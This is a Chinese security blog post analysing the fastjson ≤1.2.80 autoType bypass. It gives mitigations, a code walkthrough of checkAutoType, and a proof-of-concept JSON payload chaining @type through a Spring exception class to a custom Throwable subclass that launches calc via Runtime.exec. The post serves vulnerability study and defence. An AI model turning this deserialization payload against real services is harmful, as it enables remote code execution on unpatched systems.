在不久前fastjson<1.2.83又爆出来了新的问题,详细内容可以参考 https://github.com/alibaba/fastjson/wiki/security_update_20220523,这篇文章主要是抛转引玉,写一种可能的利用思路,详细的利用链可能要等大佬们来给出了。
文内如有不妥之处,还请批评指正。
特定依赖存在下影响 ≤1.2.80
启用safeMode,相当于不在支持@type解析,如果是甲方,先排查对业务的影响,如果业务中确认没有使用@type,当版本>1.2.68时,可以选择关闭safeMode。
升级最新版本1.2.83。
升级到fastjson v2 4.如果是低版本,建议可自行修改源码,主要判断逻辑在comalibabafastjsonparserDefaultJSONParser.class,305行,不进入@type循环即可。
首先看白名单对比:
这里参考之前git上的白名单列表https://github.com/LeadroyaL/fastjson-blacklist
像org.springframework中的基本全部从白名单中剔除了。
并且更改了判断方式,if (typeName.endsWith("Exception") || typeName.endsWith("Error"))
那么这里就可以猜测本次影响的方式,就是和被剔除的内容相关。这里用org.springframework.dao.CannotAcquireLockException进行测试,可以发现实际上最终调用的类是Throwable。
那么如果是要找gadget的话,就需要从黑名单下手了。本文不做分析和介绍,有兴趣找gadget的话可以去研究研究。
需要使用1.2.80和1.2.83的fastjson jar包进行测试。
maven
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-context</artifactId>
<version>5.3.16</version>
</dependency>
demo:
public class f1283 extends Throwable {
public f1283() {
super();
cs();
}
public String cs() {
try {
System.out.println("cs");
Runtime.getRuntime().exec(new String[]{"calc"});
} catch (IOException e) {
return e.getMessage();
}
return super.getMessage();
}
public static void main(String[] args) {
String a = "{'x':{n" +
" "@type":"org.springframework.dao.CannotAcquireLockException",n" +
" "@type": "f1283"n" +
" }}";
System.out.println(a);
JSON.parseObject(a);
}
}
上重点从checkAutoType开始,简单的说一下判断过程。
首先是判断safeModeMask,通常默认是不会开的。
检测黑名单
通过黑白名单的检测,就会尝试从Mapping中获取类
走到这里如果是白名单里的内容会尝试进行加载。
并且会直接拿到对应的类,不会再进行接下来的校验。
由于存在继承调用关系,所以在进行加载的时候就会加载f1283,并且会重新进行checkAutoType的判定。
检测过程中会先将expectClassFlag置为true。
接着检测黑名单内容,Mapping获取以及白名单检测无果之后会对clazz的类型进行校验。
接着会进行新一轮的检测。
检测通过之后,会进行类继承关系判断,实际上只要继承关系正确,就会直接进行反序列化。
最后的结果
如果直接使用java.lang.Throwable会直接抛出异常。
我们来跟一下可以很清楚的看到,Throwable既不是黑名单,也不是白名单,也不是mapping中的内容。
那么在流程中就会将这个类当做一个普通的类来进行处理,通过判断autoTypeSupport为未开启的状态,从而进行抛出处理。
本文作者:i春秋聚集地
本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/181857.html